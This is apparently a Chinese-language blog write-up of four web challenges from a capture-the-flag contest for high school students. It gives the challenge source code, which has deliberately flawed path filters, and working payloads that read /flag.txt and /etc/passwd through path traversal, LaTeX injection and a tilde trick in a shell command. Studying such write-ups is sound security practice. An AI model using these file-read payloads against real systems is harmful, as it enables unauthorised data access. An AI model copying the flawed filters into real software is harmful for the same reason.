更多内容在这篇博客上
前言
虽然说这个比赛是针对于美国高中生的,可是也不是很简单,美国高中生这么D吗,该努力了。
web
waiting-an-eternity
我的朋友给我发了这个网站,并说如果我等得足够长,我就可以得到并举报!并不是说我需要一面旗帜或任何东西,但我已经等了几天了,它仍然要求我等待。我有点不耐烦了,你能帮我拿旗子吗?
抓包得到线索:
访问后发现每刷新一次set-cookie就会变一次,它跟时间也有一些关系。
那么我们添加一个cookie值
经过几次测试,当time为负数且足够小时就会出现flag。
这里时间的表示你可以正常表示,也可以使用科学计数法,也可以使用==-inf/-Infinity==来表示无穷小。
funny factorials
我制作了一个阶乘应用程序!它是如此的奇特和迷人。然而,阶乘似乎无法正确计算大数!你能帮我解决它吗?
分析数据包可以猜测在切换主题的数据包中有疑似文件读取漏洞。/?theme=themes/theme1.css
,题目给的还有附件
app.py文件
from flask import Flask, render_template, request
import sys
app = Flask(__name__)
def factorial(n):
if n == 0:
return 1
else:
try:
return n * factorial(n - 1)
except RecursionError:
return 1
def filter_path(path):
# print(path)
path = path.replace("../", "")
try:
return filter_path(path)
except RecursionError:
# remove root / from path if it exists
if path[0] == "/":
path = path[1:]
print(path)
return path
@app.route('/')
def index():
safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))
f = open(safe_theme, "r")
theme = f.read()
f.close()
return render_template('index.html', css=theme)
@app.route('/', methods=['POST'])
def calculate_factorial():
safe_theme = filter_path(request.args.get("theme", "themes/theme1.css"))
f = open(safe_theme, "r")
theme = f.read()
f.close()
try:
num = int(request.form['number'])
if num < 0:
error = "Invalid input: Please enter a non-negative integer."
return render_template('index.html', error=error, css=theme)
result = factorial(num)
return render_template('index.html', result=result, css=theme)
except ValueError:
error = "Invalid input: Please enter a non-negative integer."
return render_template('index.html', error=error, css=theme)
if __name__ == '__main__':
sys.setrecursionlimit(100)
app.run(host='0.0.0.0')
dockerfile文件
FROM python:3.10-slim-buster
RUN pip3 install flask
COPY flag.txt /
WORKDIR /app
COPY app/* /app/
copy app/templates/* /app/templates/
copy app/themes/* /app/themes/
EXPOSE 5000
ENTRYPOINT ["python3", "app.py"]
可以得知flag文件名为flag.txt,path = path.replace("../", "")
这里把../
也给过滤了
绕过的话我试了试发现//flag.txt和..///flag.txt
都可以绕过
latek
bryanguo(与ctf无关)一直说它的发音是latek,而不是像手套材料那样的乳胶。不管怎样,我制作了这个简单的应用程序,这样他就不再支付背页的费用了。
注意:标志仅在/flag.txt
这个就是一个在线的LaTex编辑器,将编辑的内容以pdf的文件形式展现出来,查看了一篇国外大佬的博客,介绍了LaTex注入的一些语法。
输入
\documentclass{article}
\begin{document}
Hello, world!
\input{/flag.txt}
\end{document}
会发现给出了一部分flag
那么另一部分怎么得到呢?借鉴了wp看到他使用了批处理模式
\batchmode:在 LaTeX 中,该命令会抑制所有终端和日志文件输出,这意味着编译过程不会在终端上产生任何消息或提示。它通常用于以批处理模式运行 LaTeX,在处理文档时不会中断用户输入或反馈。当您想要自动化文档生成过程时,这会很有帮助
\documentclass{article}
\begin{document}
Hello, world!
\batchmode
\input{/flag.txt}
\end{document}
\documentclass{article}
\begin{document}
Hello, world!
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
\end{document}
在LaTeX文档中,\usepackage{verbatim}用于导入名为"verbatim"的宏包,它提供了在文档中插入原始文本(verbatim文本)的功能。当你希望在文档中原样显示一段代码、配置文件或其他任何文本时,通常会使用该宏包。
uwuctf
这个 rust uwuifier 速度太快了,我确信只要我能欺骗我的节点,它就会扩展到月球。uwuifier 即服务专业版何时订阅?
更新:zip 几乎与服务器相同,除了我们删除了challenge.yml 和flag.txt
这里就是访问上面的文件当我利用LFI漏洞时发现../
被过滤了。后续测试了很多遍也没有思路。最后看见别人的wp结合源码
这是index.js文件
import {config} from "dotenv";
config();
import fs from "fs";
import path from "path";
import {quote} from "shell-quote";
import {exec} from "child_process";
const textsDir = path.join(process.cwd(), "public", "texts");
const uwuifierPath = path.join(process.cwd(),"uwuify");
import express from "express";
const app = express();
import morgan from "morgan";
app.set('trust proxy', ['loopback', 'linklocal', 'uniquelocal']);
app.use(morgan("combined"));
app.get("/", (req, res) => {
res.sendFile("public/index.html", {
root: process.cwd() // bug fix
});
});
app.get("/uwuify", (req, res) => {
res.type("txt");
if(req.query.src){
if(req.query.src.includes("..") || req.query.src.includes("./") || req.query.src.startsWith("/") || req.query.src.startsWith("-")){
res.send("no hacking >:(");
res.end();
return;
}
let cmd = "cat " + quote([req.query.src]) + " | " + uwuifierPath;
exec(cmd, {
cwd: textsDir
}, (err, stdout, stderr) => {
res.send(stdout + stderr);
res.end();
});
}else{
res.send("no src provided");
}
});
app.get("/dir", async (req, res) => {
res.type("txt");
let output = "texts avali to uwuify: ";
let files = await fs.promises.readdir(textsDir);
for(let file of files){
output += "\r\n" + file;
}
output += "\r\n\r\nUse /uwuify?src=<text file name> to uwuify a text file!";
res.send(output);
});
app.listen(process.env.PORT || 3000, () => {
console.log("Server Up!");
});
这是dockerfile文件
FROM node:16
COPY ./* /home/node/app/
COPY ./public/* /home/node/app/public/
COPY ./public/texts/* /home/node/app/public/texts/
WORKDIR /home/node/app
RUN npm install
ENV PORT=8082
RUN chown -R node:node /home/node/app
USER node
CMD ["bash", "launch.sh"]
EXPOSE 8082
可以看到实际上flag.txt就在/home/node/app/flag.txt
读取当前目录使用~
,其实https://uwuasaservice.amt.rs/uwuify?src=~
也就是cat ~
,这个时候爆出路径
cat: /home/node: Is a directory
那么下面就直接读取flag文件
https://uwuasaservice.amt.rs/uwuify?src=~/app/flag.txt
amateuwsctf{so_wmao_this_fwag_is_gonna_be_a_wot_wongew_than_most_fwag_othew_fwags_good_wuck_have_fun_decoding_it_end_of_fwag}